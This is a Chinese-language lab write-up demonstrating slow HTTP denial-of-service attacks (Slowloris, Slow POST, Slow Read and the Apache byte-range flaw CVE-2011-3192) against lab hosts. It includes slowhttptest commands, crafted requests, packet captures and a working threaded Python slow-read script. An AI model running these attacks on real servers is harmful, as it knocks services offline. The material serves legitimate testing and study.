Slow HTTP Attack
Author: Xu FC
Slowloris
-
Slowloris (slow header): 客户端通过慢速发送 HTTP headers 但不完成请求,使其到 Web server 的连接保持住,以这种方式使 Web server 端保持住大量的连接,从而消耗 Web server 的并发连接数 (CC -- Current Connections) , 最终导致 Web server 不能接受新的连接尝试。
-
使用 slowhttptest (slowhttptest 工具见下文) 发起 slow header 攻击
slowhttptest -H -c 1000 -l 300 -u http://192.168.2.100/DVWA/
Mon May 21 02:03:49 2018:
slowhttptest version 1.7
- https://code.google.com/p/slowhttptest/ -
test type: SLOW HEADERS
number of connections: 1000
URL: http://192.168.2.100/DVWA/
verb: GET
Content-Length header value: 4096
follow up data max size: 68
interval between follow up data: 10 seconds
connections per seconds: 50
probe connection timeout: 5 seconds
test duration: 300 seconds
using proxy: no proxy
Mon May 21 02:03:49 2018:
slow HTTP test status on 45th second:
initializing: 0
pending: 426
connected: 407
error: 0
closed: 167
service available: NO
- Slowhttptest 所发送的请求
GET /DVWA/ HTTP/1.1
Host: 192.168.2.100
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)
Referer: TESTING_PURPOSES_ONLY
X-aK1: sjqQ4Z
X-4: S
X-OWw: H
X-Dptasviz5: Q
...X-headers...
- 服务端连接数变化
# 客户端发起攻击前,服务端的连接数
root@server2:~# netstat -na|grep -i 80|wc -l
47
# 客户端发起攻击过程中,服务端的连接数
root@server2:~# netstat -na|grep -i 80|wc -l
461
root@server2:~# netstat -na|grep -i 80|wc -l
706
Slow Post
-
Slow Post (slow body): 原理与 slowloris 类似,只是客户端不是慢速发送 HTTP header 而是通过慢速发送 POST 请求主体来消耗 Web server 的并发连接数。
-
使用 slowhttptest (slowhttptest 工具见下文) 发起 slow body 攻击
slowhttptest -B -t POST -c 1000 -u http://192.168.2.100/index.html
Mon May 21 02:25:11 2018:
slowhttptest version 1.7
- https://code.google.com/p/slowhttptest/ -
test type: SLOW BODY
number of connections: 1000
URL: http://192.168.2.100/index.html
verb: POST
Content-Length header value: 4096
follow up data max size: 66
interval between follow up data: 10 seconds
connections per seconds: 50
probe connection timeout: 5 seconds
test duration: 240 seconds
using proxy: no proxy
Mon May 21 02:25:11 2018:
slow HTTP test status on 25th second:
initializing: 0
pending: 0
connected: 931
error: 0
closed: 69
service available: NO
- Slowhttptest 所发送的请求
POST /index.html HTTP/1.1
Host: 192.168.2.100
User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.7.0; U; Edition MacAppStore; en) Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/534.34 (KHTML,like Gecko) PhantomJS/1.9.0 (development) Safari/534.34
Referer: TESTING_PURPOSES_ONLY
Content-Length: 4096
Content-Type: application/x-www-form-urlencoded
Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Connection: close
foo=bar&zmJIOeINQ0GMKUjHLRWrdoo4=Ag5sPlhzsnEMwPamVmxpL2zcOe&1IzvHUozjPUX55bHrohS9JF=T5avJ4r8DetKwV7WiPrdKGk0u&ItNLUgG=RPp6MqZ3yLPtfx8MRGSz&C5CuINEoTz3he0tI=m6azp6nlG4pZtkbmmLsyQUHDOmf&TnP6hnvMhWvoQaD88cilmRX0le=xHWxa9CUgqEqNabzpz0lwTJV3Ys&8MkvR6hq5j8ZNAFZbeOERFpDWwW=LE8HPg0ecXIV5&uIHxhgRuigxLiJ84YH9UMOy=qQazlV4VbBI7gXrC3eObnKU9PT
...&name=value...
- 服务端连接数变化
# 客户端发起攻击前,服务端的连接数
root@server2:~# netstat -na|grep -i 80|wc -l
13
# 客户端发起攻击过程中,服务端的连接数
root@server2:~# netstat -na|grep -i 80|wc -l
979
Slow Read
-
Slow Read: 与 slow header/slow body 目的相同,都是消耗服务端的并发连接数,但攻击手段不同,slow header/slow body 是通过构造不完整的请求以保持连接,而 slow read 则是通过调小客户端 TCP window size,以拉长 HTTP response 的接收时间,从而使服务端端保持住大量的连接。
-
Slowhttptest (slowhttptest 工具见下文) 支持发送 slow read 攻击,但感觉有bug……下面是自己写的攻击脚本,发起的攻击抓包,客户端 TCP window size 设置为 1,导致应答时间被严重拉长。
17:14:41.759144 IP 192.168.2.99.51512 > server2.http: Flags [S], seq 3893525212, win 1, options [mss 1460,nop,wscale 0,nop,nop,sackOK], length 0
17:14:41.759182 IP server2.http > 192.168.2.99.51512: Flags [S.], seq 1005897686, ack 3893525213, win 29200, options [mss 1460,nop,nop,sackOK,nop,wscale 7], length 0
17:14:41.760414 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1, win 1, length 0
17:14:41.761078 IP 192.168.2.99.51512 > server2.http: Flags [P.], seq 1:30, ack 1, win 1, length 29: HTTP: GET / HTTP/1.1
17:14:41.761100 IP server2.http > 192.168.2.99.51512: Flags [.], ack 30, win 229, length 0
17:14:41.968191 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1:2, ack 30, win 229, length 1: HTTP
17:14:42.019538 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 2, win 1, length 0
17:14:42.232185 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 2:3, ack 30, win 229, length 1: HTTP
17:14:42.283469 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 3, win 1, length 0
17:14:42.500189 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 3:4, ack 30, win 229, length 1: HTTP
17:14:42.552308 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 4, win 1, length 0
17:14:42.776205 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 4:5, ack 30, win 229, length 1: HTTP
17:14:42.827553 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 5, win 1, length 0
17:14:43.052269 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 5:6, ack 30, win 229, length 1: HTTP
17:14:43.103669 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 6, win 1, length 0
17:14:43.332188 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 6:7, ack 30, win 229, length 1: HTTP
......
17:23:58.820199 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1780:1781, ack 30, win 229, length 1: HTTP
17:23:58.871237 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1781, win 1, length 0
17:23:59.140212 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1781:1782, ack 30, win 229, length 1: HTTP
17:23:59.191904 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1782, win 1, length 0
17:23:59.460208 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1782:1783, ack 30, win 229, length 1: HTTP
17:23:59.511412 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1783, win 1, length 0
17:23:59.780211 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1783:1784, ack 30, win 229, length 1: HTTP
17:23:59.831371 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1784, win 1, length 0
17:24:00.100192 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1784:1785, ack 30, win 229, length 1: HTTP
17:24:00.151403 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1785, win 1, length 0
17:24:00.420224 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1785:1786, ack 30, win 229, length 1: HTTP
17:24:00.471399 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1786, win 1, length 0
......
- 添加少量并发后,服务端连接数变化
# 客户端发起攻击前,服务端的连接数
root@server2:~# netstat -na|grep -i 80|wc -l
13
# 客户端发起攻击过程中,服务端的连接数
root@server2:~# netstat -na | grep -i 80 | wc -l
147
- 脚本
#!/usr/bin/env python
import socket
import time
import threading
def tcp_windowsize(ip, port, windowsize, url):
message = 'GET ' + str(url) + ' HTTP/1.1\r\nHost: ' + str(ip) + ':'+ str(port) + '\r\n\r\n'
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, windowsize)
s.connect((ip, port))
s.send(message.encode())
data = s.recv(1024)
while len(data) != 0:
data = s.recv(1024)
s.close()
except Exception as e:
print(e)
def thread(thread_number, ip, port, windowsize, url):
thread_pool = []
for i in range(0, thread_number):
thread_pool.append(threading.Thread(target = tcp_windowsize, args = (ip, port, windowsize, url)))
thread_pool[i].start()
if __name__ == '__main__':
ip = '192.168.2.99'
port = 80
windowsize = 1
url = '/'
thread_number = 10
thread(thread_number, ip, port, windowsize, url)
Byte Range Attack
-
Byte Range Attack: 是 apache 的一个安全漏洞 (CVE-2011-3192), 客户端通过 HTTP 部分访问 (byte range 访问),使得 apache 进行大量的计算和字符串处理,从而消耗服务器的 CPU 和内存,达到拒绝服务效果。
-
Slowhttptest (slowhttptest 工具见下文) 支持发送 Byte Range 攻击,但感觉有bug……下面是手动 byte range 访问
GET / HTTP/1.1
Host: 192.168.2.100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14
Referer: TESTING_PURPOSES_ONLY
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10
Accept-Encoding: gzip
Connection: close
HTTP/1.1 206 Partial Content
Date: Mon, 21 May 2018 10:44:18 GMT
Server: Apache/2.2.14 (Win32)
Set-cookie: t=1526899458887310
test: t=1526899458887310
Content-Length: 1320
Connection: close
Content-Type: multipart/byteranges; boundary=56cb4fbdace8e5dc
--56cb4fbdace8e5dc
Content-type: text/html;charset=UTF-8
Content-range: bytes 0-620/621
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /</title>
</head>
<body>
<h1>Index of /</h1>
<ul><li><a href="8.5.1Project/"> 8.5.1Project/</a></li>
<li><a href="Open/"> Open/</a></li>
<li><a href="PUT/"> PUT/</a></li>
<li><a href="TMP/"> TMP/</a></li>
<li><a href="TSG/"> TSG/</a></li>
<li><a href="Test/"> Test/</a></li>
<li><a href="ips.txt"> ips.txt</a></li>
<li><a href="ips.txt.bak"> ips.txt.bak</a></li>
<li><a href="test.xml"> test.xml</a></li>
<li><a href="test.xml.bak"> test.xml.bak</a></li>
<li><a href="waf_rules.json"> waf_rules.json</a></li>
</ul>
</body></html>
--56cb4fbdace8e5dc
Content-type: text/html;charset=UTF-8
Content-range: bytes 5-5/621
T
--56cb4fbdace8e5dc
Content-type: text/html;charset=UTF-8
Content-range: bytes 5-6/621
TY
--56cb4fbdace8e5dc
Content-type: text/html;charset=UTF-8
Content-range: bytes 5-7/621
TYP
--56cb4fbdace8e5dc
Content-type: text/html;charset=UTF-8
Content-range: bytes 5-8/621
TYPE
--56cb4fbdace8e5dc
Content-type: text/html;charset=UTF-8
Content-range: bytes 5-9/621
TYPE
--56cb4fbdace8e5dc
Content-type: text/html;charset=UTF-8
Content-range: bytes 5-10/621
TYPE H
--56cb4fbdace8e5dc--
- 添加更多的 byte range,并增加并发数量将对服务器资源造成比较大的影响,结果不贴了:)
Slowhttptest 工具安装
- Clone slowhttptest 安装包:
git clone https://github.com/shekyan/slowhttptest.git
- 切到 slowhttptest 目录下
./configure
root@xufc-virtual-machine:/usr/local/slowhttptest# ./configure
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... /bin/mkdir -p
checking for gawk... no
checking for mawk... mawk
checking whether make sets $(MAKE)... yes
checking whether make supports nested variables... yes
checking for g++... g++
checking whether the C++ compiler works... yes
checking for C++ compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C++ compiler... yes
checking whether g++ accepts -g... yes
checking for style of include used by make... GNU
checking dependency style of g++... gcc3
checking for gcc... gcc
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking whether gcc understands -c and -o together... yes
checking dependency style of gcc... gcc3
checking whether g++ supports C++11 features by default... no
checking whether g++ supports C++11 features with -std=c++11... yes
checking for SSL_library_init in -lssl... no
checking for OPENSSL_init_ssl in -lssl... no
configure: error: OpenSSL-devel is missing
缺少 gawk 和 ssl lib 依赖
-
apt install gawk libssl-dev
安装 gawk 和 ssl lib 依赖 -
再次
./configure
,成功后make && make install
-
使用
root@client_1:/home/xufc/Templates# slowhttptest -h
slowhttptest, a tool to test for slow HTTP DoS vulnerabilities - version 1.7
Usage: slowhttptest [options ...]
Test modes:
-H slow headers a.k.a. Slowloris (default)
-B slow body a.k.a R-U-Dead-Yet
-R range attack a.k.a Apache killer
-X slow read a.k.a Slow Read
Reporting options:
-g generate statistics with socket state changes (off)
// 生成计信息并保存到 html 和 csv 文件中
-o file_prefix save statistics output in file.html and file.csv (-g required)
// 使用 -g 生成统计信息,指定 html 和 csv 文件名字
-v level verbosity level 0-4: Fatal, Info, Error, Warning, Debug
// 日志级别
General options:
-c connections target number of connections (50)
// CC 并发
-i seconds interval between followup data in seconds (10)
// 一个请求中,每隔几秒发送一部分数据
-l seconds target test length in seconds (240)
// 总体测试时间
-r rate connections per seconds (50)
// 每秒 connection attempt
-s bytes value of Content-Length header if needed (4096)
// content-length 值
-t verb verb to use in request, default to GET for
slow headers and response and to POST for slow body
// HTTP request method, slow headers -- GET, slow body -- POST
-u URL absolute URL of target (http://localhost/)
// 目标URL
-x bytes max length of each randomized name/value pair of
followup data per tick, e.g. -x 2 generates
X-xx: xx for header or &xx=xx for body, where x
is random character (32)
// name/value 的长度,e.g. -x 2 表示 name = (X-)xx, value=xx, 组合起来 header -- X-xx: xx, body -- &xx=xx
-f content-type value of Content-type header (application/x-www-form-urlencoded)
// content-type 值
-m accept value of Accept header (text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)
// accept 值
Probe/Proxy options:
-d host:port all traffic directed through HTTP proxy at host:port (off)
// HTTP proxy
-e host:port probe traffic directed through HTTP proxy at host:port (off)
-p seconds timeout to wait for HTTP response on probe connection,
after which server is considered inaccessible (5)
Range attack specific options:
-a start left boundary of range in range header (5)
// Byte range 起始位置
-b bytes limit for range header right boundary values (2000)
// Byte range 结束位置
Slow read specific options:
-k num number of times to repeat same request in the connection. Use to
multiply response size if server supports persistent connections (1)
// 支持长连接的情况下,一个 TCP 连接中发送 request 的数量
-n seconds interval between read operations from recv buffer in seconds (1)
-w bytes start of the range advertised window size would be picked from (1)
// TCP window size 范围 最小值
-y bytes end of the range advertised window size would be picked from (512)
// TCP window size 范围 最大值
-z bytes bytes to slow read from receive buffer with single read() call (5)